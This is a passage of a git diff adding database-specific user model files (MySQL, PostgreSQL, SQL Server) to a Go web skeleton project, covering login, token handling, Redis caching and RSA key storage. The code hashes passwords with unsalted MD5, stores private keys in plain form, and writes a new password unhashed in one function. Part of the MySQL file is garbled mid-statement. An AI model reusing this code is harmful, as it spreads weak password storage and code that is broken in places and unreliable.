"select pass from tb_users where id=? limit 1" + result := u.Raw(sql, id).First(u) + if result.Error == nil { + // 账号密码验证成功 + if len(u.Pass) > 0 && (u.Pass == md5_encrypt.Base64Md5(oldpass)) { + if u.OauthResetToken(id,md5_encrypt.Base64Md5(newpass)){ + variable.ZapLog.Info("密码更改后,token重已置") + }else{ + variable.ZapLog.Error("密码更改后,token重置失败") + } + + // 更新密码 + sql = "update tb_users set pass=? WHERE status=1 AND id=?" + if u.Exec(sql,newpass,id).RowsAffected>=0{ + return u + } + } + } else { + variable.ZapLog.Error("根据账号查询单条记录出错:", zap.Error(result.Error)) + } + return nil +} + +//删除用户以及关联的token记录 +func (u *UsersModel) Destroy(id int,userName,pass string) bool { + + // 删除用户时,清除用户缓存在redis的全部token + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.DelTokenCacheFromRedis(int64(id)) + } + + // 检查密码是否正确 + sql := "select pass from tb_users where id=? limit 1" + result := u.Raw(sql, id).First(u) + if result.Error == nil { + // 账号密码验证成功 + if len(u.Pass) > 0 && (u.Pass == md5_encrypt.Base64Md5(pass)) { + // 删除用户密钥 + err:=u.deleteKeyFromDB(userName) + if err!=nil{ + variable.ZapLog.Error(err.Error()) + } + // 删除用户 + if u.Delete(u, id).Error == nil { + // 删除token + if u.OauthDestroyToken(id) { + return true + }else{ + variable.ZapLog.Error("删除用户时token删除失败") + } + }else{ + variable.ZapLog.Error("删除用户失败") + } + } + } + + return false +} + +func (u *UsersModel)Logout(id int,userName string)bool{ + // 登出用户时,清除用户缓存在redis的全部token + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.DelTokenCacheFromRedis(int64(id)) + } + // 删除token + if !u.OauthDestroyToken(id) { + // return true + variable.ZapLog.Error("登出时删除token失败") + } + // 删除用户密钥 + if err:=u.deleteKeyFromDB(userName);err!=nil{ + variable.ZapLog.Error("登出时删除密钥失败") + } + return true +} +// 返回用户密码加密所需的公钥 +func (u *UsersModel)PublicKey(userName string)[]byte{ + // sql :="SELECT public_key FROM `tb_rsa_keypair` WHERE user_name = ?" + // var publicKey string + // if res := u.Raw(sql,userName).Scan(&publicKey); res.RowsAffected > 0 { + // return []byte(publicKey) + // } + // // 不存在密钥,重新生成密钥 + // return u.GenerateKeyPair(userName) + publicKey, err := u.getKeyFromDB(userName, "public_key") + if err == nil { + return []byte(publicKey) + } + // 不存在密钥,重新生成密钥 + pubPEM, priPEM, err := rsa.GenerateRSAKeyPair() + if err != nil { + variable.ZapLog.Error("不存在密钥且密钥生成失败") + return nil + } + if err := u.storeKeyPair(userName, pubPEM, priPEM); err != nil { + variable.ZapLog.Error("密钥存储失败") + return nil + } + return pubPEM +} +// 返回服务器解密所需的私钥 +func (u *UsersModel)PrivateKey(userName string)[]byte{ + // sql :="SELECT private_key FROM `tb_rsa_keypair` WHERE user_name = ?" + // var privateKey string + // if res := u.Raw(sql,userName).Scan(&privateKey); res.RowsAffected > 0 { + // priPEM:=pem.EncodeToMemory(&pem.Block{ + // Type: "PRIVATE KEY", + // Bytes: []byte(privateKey), + // }) + // return priPEM + // } + // return nil + privateKey, err := u.getKeyFromDB(userName, "private_key") + if err == nil { + // priPEM := pem.EncodeToMemory(&pem.Block{ + // Type: "PRIVATE KEY", + // Bytes: []byte(privateKey), + // }) + // return priPEM + return []byte(privateKey) + } + variable.ZapLog.Error("返回私钥失败") + return nil +} +// func (u *UsersModel)GenerateKeyPair(userName string)[]byte{ +// priKey,err:=rsa.GenerateKey(rand.Reader,variable.ConfigYml.GetInt("RSA.keySize")) +// if err!=nil{ +// return nil +// } +// pubKey:=&priKey.PublicKey + +// // convert to byte slice +// priASN1:=x509.MarshalPKCS1PrivateKey(priKey) +// priPEM:=pem.EncodeToMemory(&pem.Block{ +// Type: "PRIVATE KEY", +// Bytes: priASN1, +// }) +// pubASN1,err:=x509.MarshalPKIXPublicKey(pubKey) +// if err!=nil{ +// return nil +// } +// pubPEM := pem.EncodeToMemory(&pem.Block{ +// Type: "PUBLIC KEY", +// Bytes: pubASN1, +// }) +// // store key_pair +// sql:="INSERT INTO tb_rsa_keypair(user_name,public_key,private_key) VALUES (?,?,?)" +// if u.Exec(sql, userName, pubPEM, priPEM).RowsAffected > 0 { +// return pubPEM +// } +// return nil +// } +// 从数据库获取密钥(公钥/私钥) +func (u *UsersModel) getKeyFromDB(userName, keyType string) (string, error) { + sql := fmt.Sprintf("SELECT %s FROM `tb_rsa_keypair` WHERE user_name = ?", keyType) + var key string + if res := u.Raw(sql, userName).Scan(&key); res.RowsAffected > 0 { + return key, nil + } + return "", fmt.Errorf("key not found") +} +// 从数据库删除用户的所有密钥 +func (u *UsersModel)deleteKeyFromDB(userName string) error { + sql := "DELETE FROM `tb_rsa_keypair` WHERE user_name = ?" + if u.Exec(sql, userName).RowsAffected > 0 { + return nil + } + return fmt.Errorf("failed to delete key pair") +} +// 存储公私钥对到数据库 +func (u *UsersModel) storeKeyPair(userName string, pubPEM, priPEM []byte) error { + sql := "INSERT INTO tb_rsa_keypair(user_name, public_key, private_key) VALUES (?, ?, ?)" + if u.Exec(sql, userName, pubPEM, priPEM).RowsAffected > 0 { + return nil + } + return fmt.Errorf("failed to store key pair") +} +// 后续两个函数专门处理用户 token 缓存到 redis 逻辑 + +func (u *UsersModel) ValidTokenCacheToRedis(userId int64) { + tokenCacheRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(userId) + if tokenCacheRedisFact == nil { + variable.ZapLog.Error("redis连接失败,请检查配置") + return + } + defer tokenCacheRedisFact.ReleaseRedisConn() + + sql := "SELECT token,expires_at FROM `tb_oauth_access_tokens` WHERE fr_user_id=? AND revoked=0 AND expires_at>NOW() ORDER BY expires_at DESC , updated_at DESC LIMIT ?" + maxOnlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + rows, err := u.Raw(sql, userId, maxOnlineUsers).Rows() + defer func() { + // 凡是获取原生结果集的查询,记得释放记录集 + _ = rows.Close() + }() + + var tempToken, expires string + if err == nil && rows != nil { + for i := 1; rows.Next(); i++ { + err = rows.Scan(&tempToken, &expires) + if err == nil { + if ts, err := time.ParseInLocation(variable.DateFormat, expires, time.Local); err == nil { + tokenCacheRedisFact.SetTokenCache(ts.Unix(), tempToken) + // 因为每个用户的token是按照过期时间倒叙排列的,第一个是有效期最长的,将该用户的总键设置一个最大过期时间,到期则自动清理,避免不必要的数据残留 + if i == 1 { + tokenCacheRedisFact.SetUserTokenExpire(ts.Unix()) + } + } else { + variable.ZapLog.Error("expires_at 转换位时间戳出错", zap.Error(err)) + } + } + } + } + // 缓存结束之后删除超过系统设置最大在线数量的token + tokenCacheRedisFact.DelOverMaxOnlineCache() +} + +// DelTokenCacheFromRedis 用户密码修改后,删除redis所有的token +func (u *UsersModel) DelTokenCacheFromRedis(userId int64) { + tokenCacheRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(userId) + if tokenCacheRedisFact == nil { + variable.ZapLog.Error("redis连接失败,请检查配置") + return + } + tokenCacheRedisFact.ClearUserToken() + tokenCacheRedisFact.ReleaseRedisConn() +} diff --git a/GinSkeleton/app/model/users_for_mysql.txt b/GinSkeleton/app/model/users_for_mysql.txt new file mode 100644 index 0000000..c4962fe --- /dev/null +++ b/GinSkeleton/app/model/users_for_mysql.txt @@ -0,0 +1,301 @@ +package model + +import ( + "go.uber.org/zap" + "goskeleton/app/global/variable" + "goskeleton/app/service/users/token_cache_redis" + "goskeleton/app/utils/md5_encrypt" + "time" +) + +// 操作数据库喜欢使用gorm自带语法的开发者可以参考 GinSkeleton-Admin 系统相关代码 +// Admin 项目地址:https://gitee.com/daitougege/gin-skeleton-admin-backend/ +// gorm_v2 提供的语法+ ginskeleton 实践 : http://gitee.com/daitougege/gin-skeleton-admin-backend/blob/master/app/model/button_cn_en.go + +// 创建 userFactory +// 参数说明: 传递空值,默认使用 配置文件选项:UseDbType(mysql) + +func CreateUserFactory(sqlType string) *UsersModel { + return &UsersModel{BaseModel: BaseModel{DB: UseDbConn(sqlType)}} +} + +type UsersModel struct { + BaseModel + UserName string `gorm:"column:user_name" json:"user_name"` + Pass string `json:"-"` + Phone string `json:"phone"` + RealName string `gorm:"column:real_name" json:"real_name"` + Status int `json:"status"` + Token string `json:"token"` + LastLoginIp string `gorm:"column:last_login_ip" json:"last_login_ip"` +} + +// 表名 +func (u *UsersModel) TableName() string { + return "tb_users" +} + +// 用户注册(写一个最简单的使用账号、密码注册即可) +func (u *UsersModel) Register(userName, pass, userIp string) bool { + sql := "INSERT INTO tb_users(user_name,pass,last_login_ip) SELECT ?,?,? FROM DUAL WHERE NOT EXISTS (SELECT 1 FROM tb_users WHERE user_name=?)" + result := u.Exec(sql, userName, pass, userIp, userName) + if result.RowsAffected > 0 { + return true + } else { + return false + } +} + +// 用户登录, +func (u *UsersModel) Login(userName string, pass string) *UsersModel { + sql := "select id, user_name,real_name,pass,phone from tb_users where user_name=? limit 1" + result := u.Raw(sql, userName).First(u) + if result.Error == nil { + // 账号密码验证成功 + if len(u.Pass) > 0 && (u.Pass == md5_encrypt.Base64Md5(pass)) { + return u + } + } else { + variable.ZapLog.Error("根据账号查询单条记录出错:", zap.Error(result.Error)) + } + return nil +} + +//记录用户登陆(login)生成的token,每次登陆记录一次token +func (u *UsersModel) OauthLoginToken(userId int64, token string, expiresAt int64, clientIp string) bool { + sql := ` + INSERT INTO tb_oauth_access_tokens(fr_user_id,action_name,token,expires_at,client_ip) + SELECT ?,'login',? ,?,? FROM DUAL WHERE NOT EXISTS(SELECT 1 FROM tb_oauth_access_tokens a WHERE a.fr_user_id=? AND a.action_name='login' AND a.token=? ) + ` + //注意:token的精确度为秒,如果在一秒之内,一个账号多次调用接口生成的token其实是相同的,这样写入数据库,第二次的影响行数为0,知己实际上操作仍然是有效的。 + //所以这里只判断无错误即可,判断影响行数的话,>=0 都是ok的 + if u.Exec(sql, userId, token, time.Unix(expiresAt, 0).Format(variable.DateFormat), clientIp, userId, token).Error == nil { + // 异步缓存用户有效的token到redis + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.ValidTokenCacheToRedis(userId) + } + return true + } + return false +} + +//用户刷新token,条件检查: 相关token在过期的时间之内,就符合刷新条件 +func (u *UsersModel) OauthRefreshConditionCheck(userId int64, oldToken string) bool { + // 首先判断旧token在本系统自带的数据库已经存在,才允许继续执行刷新逻辑 + var oldTokenIsExists int + sql := "SELECT count(*) as counts FROM tb_oauth_access_tokens WHERE fr_user_id =? and token=? and NOW()=0, 有些没有登录过的用户没有相关token,此语句执行影响行数为0,但是仍然是执行成功 + if u.Exec(sql, userId).Error == nil { + return true + } + return false +} + +// 判断用户token是否在数据库存在+状态OK +func (u *UsersModel) OauthCheckTokenIsOk(userId int64, token string) bool { + sql := "SELECT token FROM `tb_oauth_access_tokens` WHERE fr_user_id=? AND revoked=0 AND expires_at>NOW() ORDER BY expires_at DESC , updated_at DESC LIMIT ?" + maxOnlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + rows, err := u.Raw(sql, userId, maxOnlineUsers).Rows() + defer func() { + // 凡是查询类记得释放记录集 + _ = rows.Close() + }() + if err == nil && rows != nil { + for rows.Next() { + var tempToken string + err := rows.Scan(&tempToken) + if err == nil { + if tempToken == token { + return true + } + } + } + } + return false +} + +// 禁用一个用户的: 1.tb_users表的 status 设置为 0,tb_oauth_access_tokens 表的所有token删除 +// 禁用一个用户的token请求(本质上就是把tb_users表的 status 字段设置为 0 即可) +func (u *UsersModel) SetTokenInvalid(userId int) bool { + sql := "delete from `tb_oauth_access_tokens` where `fr_user_id`=? " + if u.Exec(sql, userId).Error == nil { + if u.Exec("update tb_users set status=0 where id=?", userId).Error == nil { + return true + } + } + return false +} + +//根据用户ID查询一条信息 +func (u *UsersModel) ShowOneItem(userId int) (*UsersModel, error) { + sql := "SELECT `id`, `user_name`,`pass`, `real_name`, `phone`, `status` FROM `tb_users` WHERE `status`=1 and id=? LIMIT 1" + result := u.Raw(sql, userId).First(u) + if result.Error == nil { + return u, nil + } else { + return nil, result.Error + } +} + +// 查询数据之前统计条数 +func (u *UsersModel) counts(userName string) (counts int64) { + sql := "SELECT count(*) as counts FROM tb_users WHERE status=1 and user_name like ?" + if res := u.Raw(sql, "%"+userName+"%").First(&counts); res.Error != nil { + variable.ZapLog.Error("UsersModel - counts 查询数据条数出错", zap.Error(res.Error)) + } + return counts +} + +// 查询(根据关键词模糊查询) +func (u *UsersModel) Show(userName string, limitStart, limitItems int) (counts int64, temp []UsersModel) { + if counts = u.counts(userName); counts > 0 { + sql := "SELECT `id`, `user_name`, `real_name`, `phone`,last_login_ip, `status`,created_at,updated_at FROM `tb_users` WHERE `status`=1 and user_name like ? LIMIT ?,?" + if res := u.Raw(sql, "%"+userName+"%", limitStart, limitItems).Find(&temp); res.RowsAffected > 0 { + return counts, temp + } + } + return 0, nil +} + +//新增 +func (u *UsersModel) Store(userName string, pass string, realName string, phone string, remark string) bool { + sql := "INSERT INTO tb_users(user_name,pass,real_name,phone,remark) SELECT ?,?,?,?,? FROM DUAL WHERE NOT EXISTS (SELECT 1 FROM tb_users WHERE user_name=?)" + if u.Exec(sql, userName, pass, realName, phone, remark, userName).RowsAffected > 0 { + return true + } + return false +} + +//UpdateDataCheckUserNameIsUsed 更新前检查新的用户名是否已经存在(避免和别的账号重名) +func (u *UsersModel) UpdateDataCheckUserNameIsUsed(userId int, userName string) (exists int64) { + sql := "select count(*) as counts from tb_users where id!=? AND user_name=?" + _ = u.Raw(sql, userId, userName).First(&exists) + return exists +} + +//更新 +func (u *UsersModel) Update(id int, userName string, pass string, realName string, phone string, remark string, clientIp string) bool { + sql := "update tb_users set user_name=?,pass=?,real_name=?,phone=?,remark=? WHERE status=1 AND id=?" + if u.Exec(sql, userName, pass, realName, phone, remark, id).RowsAffected >= 0 { + if u.OauthResetToken(id, pass, clientIp) { + return true + } + } + return false +} + +//删除用户以及关联的token记录 +func (u *UsersModel) Destroy(id int) bool { + + // 删除用户时,清除用户缓存在redis的全部token + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.DelTokenCacheFromRedis(int64(id)) + } + if u.Delete(u, id).Error == nil { + if u.OauthDestroyToken(id) { + return true + } + } + return false +} + +// 后续两个函数专门处理用户 token 缓存到 redis 逻辑 + +func (u *UsersModel) ValidTokenCacheToRedis(userId int64) { + tokenCacheRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(userId) + if tokenCacheRedisFact == nil { + variable.ZapLog.Error("redis连接失败,请检查配置") + return + } + defer tokenCacheRedisFact.ReleaseRedisConn() + + sql := "SELECT token,expires_at FROM `tb_oauth_access_tokens` WHERE fr_user_id=? AND revoked=0 AND expires_at>NOW() ORDER BY expires_at DESC , updated_at DESC LIMIT ?" + maxOnlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + rows, err := u.Raw(sql, userId, maxOnlineUsers).Rows() + defer func() { + // 凡是获取原生结果集的查询,记得释放记录集 + _ = rows.Close() + }() + + var tempToken, expires string + if err == nil && rows != nil { + for i := 1; rows.Next(); i++ { + err = rows.Scan(&tempToken, &expires) + if err == nil { + if ts, err := time.ParseInLocation(variable.DateFormat, expires, time.Local); err == nil { + tokenCacheRedisFact.SetTokenCache(ts.Unix(), tempToken) + // 因为每个用户的token是按照过期时间倒叙排列的,第一个是有效期最长的,将该用户的总键设置一个最大过期时间,到期则自动清理,避免不必要的数据残留 + if i == 1 { + tokenCacheRedisFact.SetUserTokenExpire(ts.Unix()) + } + } else { + variable.ZapLog.Error("expires_at 转换位时间戳出错", zap.Error(err)) + } + } + } + } + // 缓存结束之后删除超过系统设置最大在线数量的token + tokenCacheRedisFact.DelOverMaxOnlineCache() +} + +// DelTokenCacheFromRedis 用户密码修改后,删除redis所有的token +func (u *UsersModel) DelTokenCacheFromRedis(userId int64) { + tokenCacheRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(userId) + if tokenCacheRedisFact == nil { + variable.ZapLog.Error("redis连接失败,请检查配置") + return + } + tokenCacheRedisFact.ClearUserToken() + tokenCacheRedisFact.ReleaseRedisConn() +} diff --git a/GinSkeleton/app/model/users_for_postgres.txt b/GinSkeleton/app/model/users_for_postgres.txt new file mode 100644 index 0000000..204a59c --- /dev/null +++ b/GinSkeleton/app/model/users_for_postgres.txt @@ -0,0 +1,312 @@ +package model + +import ( + "go.uber.org/zap" + "goskeleton/app/global/variable" + "goskeleton/app/service/users/token_cache_redis" + "goskeleton/app/utils/md5_encrypt" + "strconv" + "time" +) + +// 本文件针对 postgresql 数据库有效,请手动使用本文件的所有代码替换同目录的 users.go 中的所有代码即可 +// 针对数据库选型为 postgresql 的开发者使用 + +// 操作数据库喜欢使用gorm自带语法的开发者可以参考 GinSkeleton-Admin 系统相关代码 +// Admin 项目地址:https://gitee.com/daitougege/gin-skeleton-admin-backend/ +// gorm_v2 提供的语法+ ginskeleton 实践 : http://gitee.com/daitougege/gin-skeleton-admin-backend/blob/master/app/model/button_cn_en.go + +// 创建 userFactory +// 参数说明: 传递空值,默认使用 配置文件选项:UseDbType(mysql) +func CreateUserFactory(sqlType string) *UsersModel { + return &UsersModel{BaseModel: BaseModel{DB: UseDbConn(sqlType)}} +} + +type UsersModel struct { + BaseModel + UserName string `gorm:"column:user_name" json:"user_name"` + Pass string `json:"-"` + Phone string `json:"phone"` + RealName string `gorm:"column:real_name" json:"real_name"` + Status int `json:"status"` + Token string `json:"token"` + LastLoginIp string `gorm:"column:last_login_ip" json:"last_login_ip"` +} + +// TableName 表名 +func (u *UsersModel) TableName() string { + return "web.tb_users" +} + +// Register 用户注册(写一个最简单的使用账号、密码注册即可) +func (u *UsersModel) Register(userName, pass, userIp string) bool { + sql := "INSERT INTO web.tb_users(user_name,pass,last_login_ip) SELECT ?,?,? WHERE NOT EXISTS (SELECT 1 FROM web.tb_users WHERE user_name=?)" + result := u.Exec(sql, userName, pass, userIp, userName) + if result.RowsAffected > 0 { + return true + } else { + return false + } +} + +// Login 用户登录, +func (u *UsersModel) Login(userName string, pass string) *UsersModel { + sql := "select id, user_name,real_name,pass,phone from web.tb_users where user_name=? limit 1" + result := u.Raw(sql, userName).First(u) + if result.Error == nil { + // 账号密码验证成功 + if len(u.Pass) > 0 && (u.Pass == md5_encrypt.Base64Md5(pass)) { + return u + } + } else { + variable.ZapLog.Error("根据账号查询单条记录出错:", zap.Error(result.Error)) + } + return nil +} + +// OauthLoginToken 记录用户登陆(login)生成的token,每次登陆记录一次token +func (u *UsersModel) OauthLoginToken(userId int64, token string, expiresAt int64, clientIp string) bool { + sql := `INSERT INTO web.tb_oauth_access_tokens(fr_user_id,action_name,token,expires_at,client_ip) + SELECT ?,'login',? ,?,? WHERE NOT EXISTS(SELECT 1 FROM web.tb_oauth_access_tokens a WHERE a.fr_user_id=? AND a.action_name='login' AND a.token=?) + ` + //注意:token的精确度为秒,如果在一秒之内,一个账号多次调用接口生成的token其实是相同的,这样写入数据库,第二次的影响行数为0,知己实际上操作仍然是有效的。 + //所以这里只判断无错误即可,判断影响行数的话,>=0 都是ok的 + if u.Exec(sql, userId, token, time.Unix(expiresAt, 0).Format(variable.DateFormat), clientIp, userId, token).Error == nil { + // 异步缓存用户有效的token到redis + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.ValidTokenCacheToRedis(userId) + } + return true + } + return false +} + +// OauthRefreshConditionCheck 用户刷新token,条件检查: 相关token在过期的时间之内,就符合刷新条件 +func (u *UsersModel) OauthRefreshConditionCheck(userId int64, oldToken string) bool { + // 首先判断旧token在本系统自带的数据库已经存在,才允许继续执行刷新逻辑 + var oldTokenIsExists int + sql := "SELECT count(*) as counts FROM web.tb_oauth_access_tokens WHERE fr_user_id =? and token=? and NOW() < (expires_at + cast(? as interval)) " + refreshSec := variable.ConfigYml.GetInt64("Token.JwtTokenRefreshAllowSec") + if u.Raw(sql, userId, oldToken, strconv.FormatInt(refreshSec, 10)+" second").First(&oldTokenIsExists).Error == nil && oldTokenIsExists == 1 { + return true + } + return false +} + +// OauthRefreshToken 用户刷新token +func (u *UsersModel) OauthRefreshToken(userId, expiresAt int64, oldToken, newToken, clientIp string) bool { + sql := "UPDATE web.tb_oauth_access_tokens SET token=? ,expires_at=?,client_ip=?,updated_at= now() ,action_name='refresh' WHERE fr_user_id=? AND token=?" + if u.Exec(sql, newToken, time.Unix(expiresAt, 0).Format(variable.DateFormat), clientIp, userId, oldToken).Error == nil { + // 异步缓存用户有效的token到redis + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.ValidTokenCacheToRedis(userId) + } + go u.UpdateUserloginInfo(clientIp, userId) + return true + } + return false +} + +// UpdateUserloginInfo 更新用户登陆次数、最近一次登录ip、最近一次登录时间 +func (u *UsersModel) UpdateUserloginInfo(last_login_ip string, userId int64) { + sql := "UPDATE web.tb_users SET login_times=COALESCE(login_times,0)+1,last_login_ip=?,last_login_time=? WHERE id=? " + _ = u.Exec(sql, last_login_ip, time.Now().Format(variable.DateFormat), userId) +} + +// OauthResetToken 当用户更改密码后,所有的token都失效,必须重新登录 +func (u *UsersModel) OauthResetToken(userId int, newPass, clientIp string) bool { + //如果用户新旧密码一致,直接返回true,不需要处理 + userItem, err := u.ShowOneItem(userId) + if userItem != nil && err == nil && userItem.Pass == newPass { + return true + } else if userItem != nil { + + // 如果用户密码被修改,那么redis中的token值也清除 + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.DelTokenCacheFromRedis(int64(userId)) + } + + sql := "UPDATE web.tb_oauth_access_tokens SET revoked=1,updated_at= now() ,action_name='ResetPass',client_ip=? WHERE fr_user_id=? " + if u.Exec(sql, clientIp, userId).Error == nil { + return true + } + } + return false +} + +//OauthDestroyToken 当tb_users 删除数据,相关的token同步删除 +func (u *UsersModel) OauthDestroyToken(userId int) bool { + //如果用户新旧密码一致,直接返回true,不需要处理 + sql := "DELETE FROM web.tb_oauth_access_tokens WHERE fr_user_id=? " + //判断>=0, 有些没有登录过的用户没有相关token,此语句执行影响行数为0,但是仍然是执行成功 + if u.Exec(sql, userId).Error == nil { + return true + } + return false +} + +// OauthCheckTokenIsOk 判断用户token是否在数据库存在+状态OK +func (u *UsersModel) OauthCheckTokenIsOk(userId int64, token string) bool { + sql := ` + SELECT token FROM web.tb_oauth_access_tokens + WHERE fr_user_id=? AND revoked=0 AND expires_at> now() + ORDER BY expires_at DESC , updated_at DESC limit ? + ` + maxOnlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + rows, err := u.Raw(sql, userId, maxOnlineUsers).Rows() + defer func() { + // 凡是查询类记得释放记录集 + _ = rows.Close() + }() + if err == nil && rows != nil { + for rows.Next() { + var tempToken string + err := rows.Scan(&tempToken) + if err == nil { + if tempToken == token { + _ = rows.Close() + return true + } + } + } + } + return false +} + +// 禁用一个用户的: 1.tb_users表的 status 设置为 0,web.tb_oauth_access_tokens 表的所有token删除 +// 禁用一个用户的token请求(本质上就是把tb_users表的 status 字段设置为 0 即可) +func (u *UsersModel) SetTokenInvalid(userId int) bool { + sql := "delete from web.tb_oauth_access_tokens where fr_user_id=? " + if u.Exec(sql, userId).Error == nil { + if u.Exec("update web.tb_users set status=0 where id=?", userId).Error == nil { + return true + } + } + return false +} + +//根据用户ID查询一条信息 +func (u *UsersModel) ShowOneItem(userId int) (*UsersModel, error) { + sql := "SELECT id, user_name,pass, real_name, phone, status,TO_CHAR(created_at,'yyyy-mm-dd hh24:mi:ss') as created_at, TO_CHAR(updated_at,'yyyy-mm-dd hh24:mi:ss') as updated_at FROM web.tb_users WHERE status=1 and id=? limit 1" + result := u.Raw(sql, userId).First(u) + if result.Error == nil { + return u, nil + } else { + return nil, result.Error + } +} + +// counts 查询数据之前统计条数 +func (u *UsersModel) counts(userName string) (counts int64) { + sql := "SELECT count(*) as counts FROM web.tb_users WHERE status=1 and user_name like ?" + if res := u.Raw(sql, "%"+userName+"%").First(&counts); res.Error != nil { + variable.ZapLog.Error("UsersModel - counts 查询数据条数出错", zap.Error(res.Error)) + } + return counts +} + +// Show 查询(根据关键词模糊查询) +func (u *UsersModel) Show(userName string, limitStart, limitItems int) (counts int64, temp []UsersModel) { + if counts = u.counts(userName); counts > 0 { + sql := ` + SELECT id, user_name, real_name, phone, status, last_login_ip,phone, + TO_CHAR(created_at,'yyyy-mm-dd hh24:mi:ss') as created_at, TO_CHAR(updated_at,'yyyy-mm-dd hh24:mi:ss') as updated_at + FROM web.tb_users WHERE status=1 and user_name like ? limit ? offset ? + ` + if res := u.Raw(sql, "%"+userName+"%", limitItems, limitStart).Find(&temp); res.RowsAffected > 0 { + return counts, temp + } + } + return 0, nil +} + +// Store 新增 +func (u *UsersModel) Store(userName string, pass string, realName string, phone string, remark string) bool { + sql := "INSERT INTO web.tb_users(user_name,pass,real_name,phone,remark) SELECT ?,?,?,?,? WHERE NOT EXISTS (SELECT 1 FROM web.tb_users WHERE user_name=?)" + if u.Exec(sql, userName, pass, realName, phone, remark, userName).RowsAffected > 0 { + return true + } + return false +} + +// UpdateDataCheckUserNameIsUsed 更新前检查新的用户名是否已经存在(避免和别的账号重名) +func (u *UsersModel) UpdateDataCheckUserNameIsUsed(userId int, userName string) (exists int64) { + sql := "select count(*) as counts from web.tb_users where id!=? AND user_name=?" + _ = u.Raw(sql, userId, userName).First(&exists) + return exists +} + +// Update 更新 +func (u *UsersModel) Update(id int, userName string, pass string, realName string, phone string, remark string, clientIp string) bool { + sql := "update web.tb_users set user_name=?,pass=?,real_name=?,phone=?,remark=? WHERE status=1 AND id=?" + if u.Exec(sql, userName, pass, realName, phone, remark, id).RowsAffected >= 0 { + if u.OauthResetToken(id, pass, clientIp) { + return true + } + } + return false +} + +// Destroy 删除用户以及关联的token记录 +func (u *UsersModel) Destroy(id int) bool { + // 删除用户时,清除用户缓存在redis的全部token + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.DelTokenCacheFromRedis(int64(id)) + } + if u.Delete(u, id).Error == nil { + if u.OauthDestroyToken(id) { + return true + } + } + return false +} + +// 后续两个函数专门处理用户 token 缓存到 redis 逻辑 + +func (u *UsersModel) ValidTokenCacheToRedis(userId int64) { + tokenCacheRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(userId) + if tokenCacheRedisFact == nil { + variable.ZapLog.Error("redis连接失败,请检查配置") + return + } + defer tokenCacheRedisFact.ReleaseRedisConn() + + sql := "SELECT token,to_char(expires_at,'yyyy-mm-dd hh24:mi:ss') as expires_at FROM web.tb_oauth_access_tokens WHERE fr_user_id=? AND revoked=0 AND expires_at>NOW() ORDER BY expires_at DESC , updated_at DESC LIMIT ?" + maxOnlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + rows, err := u.Raw(sql, userId, maxOnlineUsers).Rows() + defer func() { + // 凡是获取原生结果集的查询,记得释放记录集 + _ = rows.Close() + }() + + var tempToken, expires string + if err == nil && rows != nil { + for i := 1; rows.Next(); i++ { + err = rows.Scan(&tempToken, &expires) + if err == nil { + if ts, err := time.ParseInLocation(variable.DateFormat, expires, time.Local); err == nil { + tokenCacheRedisFact.SetTokenCache(ts.Unix(), tempToken) + // 因为每个用户的token是按照过期时间倒叙排列的,第一个是有效期最长的,将该用户的总键设置一个最大过期时间,到期则自动清理,避免不必要的数据残留 + if i == 1 { + tokenCacheRedisFact.SetUserTokenExpire(ts.Unix()) + } + } else { + variable.ZapLog.Error("expires_at 转换位时间戳出错", zap.Error(err)) + } + } + } + } + // 缓存结束之后删除超过系统设置最大在线数量的token + tokenCacheRedisFact.DelOverMaxOnlineCache() +} + +// DelTokenCacheFromRedis 用户密码修改后,删除redis所有的token +func (u *UsersModel) DelTokenCacheFromRedis(userId int64) { + tokenCacheRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(userId) + if tokenCacheRedisFact == nil { + variable.ZapLog.Error("redis连接失败,请检查配置") + return + } + tokenCacheRedisFact.ClearUserToken() + tokenCacheRedisFact.ReleaseRedisConn() +} diff --git a/GinSkeleton/app/model/users_for_sqlserver.txt b/GinSkeleton/app/model/users_for_sqlserver.txt new file mode 100644 index 0000000..5f7b1ed --- /dev/null +++ b/GinSkeleton/app/model/users_for_sqlserver.txt @@ -0,0 +1,305 @@ +package model + +import ( + "go.uber.org/zap" + "goskeleton/app/global/variable" + "goskeleton/app/service/users/token_cache_redis" + "goskeleton/app/utils/md5_encrypt" + "time" +) + +// 本文件针对 sqlserver 数据库有效,请手动使用本文件的所有代码替换 users.go 中的所有代码即可 +// 针对数据库选型为sqlserver的开发者使用 + +// 操作数据库喜欢使用gorm自带语法的开发者可以参考 GinSkeleton-Admin 系统相关代码 +// Admin 项目地址:https://gitee.com/daitougege/gin-skeleton-admin-backend/ +// gorm_v2 提供的语法+ ginskeleton 实践 : http://gitee.com/daitougege/gin-skeleton-admin-backend/blob/master/app/model/button_cn_en.go + +// 创建 userFactory +// 参数说明: 传递空值,默认使用 配置文件选项:UseDbType(mysql) +func CreateUserFactory(sqlType string) *UsersModel { + return &UsersModel{BaseModel: BaseModel{DB: UseDbConn(sqlType)}} +} + +type UsersModel struct { + BaseModel + UserName string `gorm:"column:user_name" json:"user_name"` + Pass string `json:"-"` + Phone string `json:"phone"` + RealName string `gorm:"column:real_name" json:"real_name"` + Status int `json:"status"` + Token string `json:"token"` + LastLoginIp string `gorm:"column:last_login_ip" json:"last_login_ip"` +} + +// 表名 +func (u *UsersModel) TableName() string { + return "tb_users" +} + +// 用户注册(写一个最简单的使用账号、密码注册即可) +func (u *UsersModel) Register(userName, pass, userIp string) bool { + sql := "INSERT INTO tb_users(user_name,pass,last_login_ip) 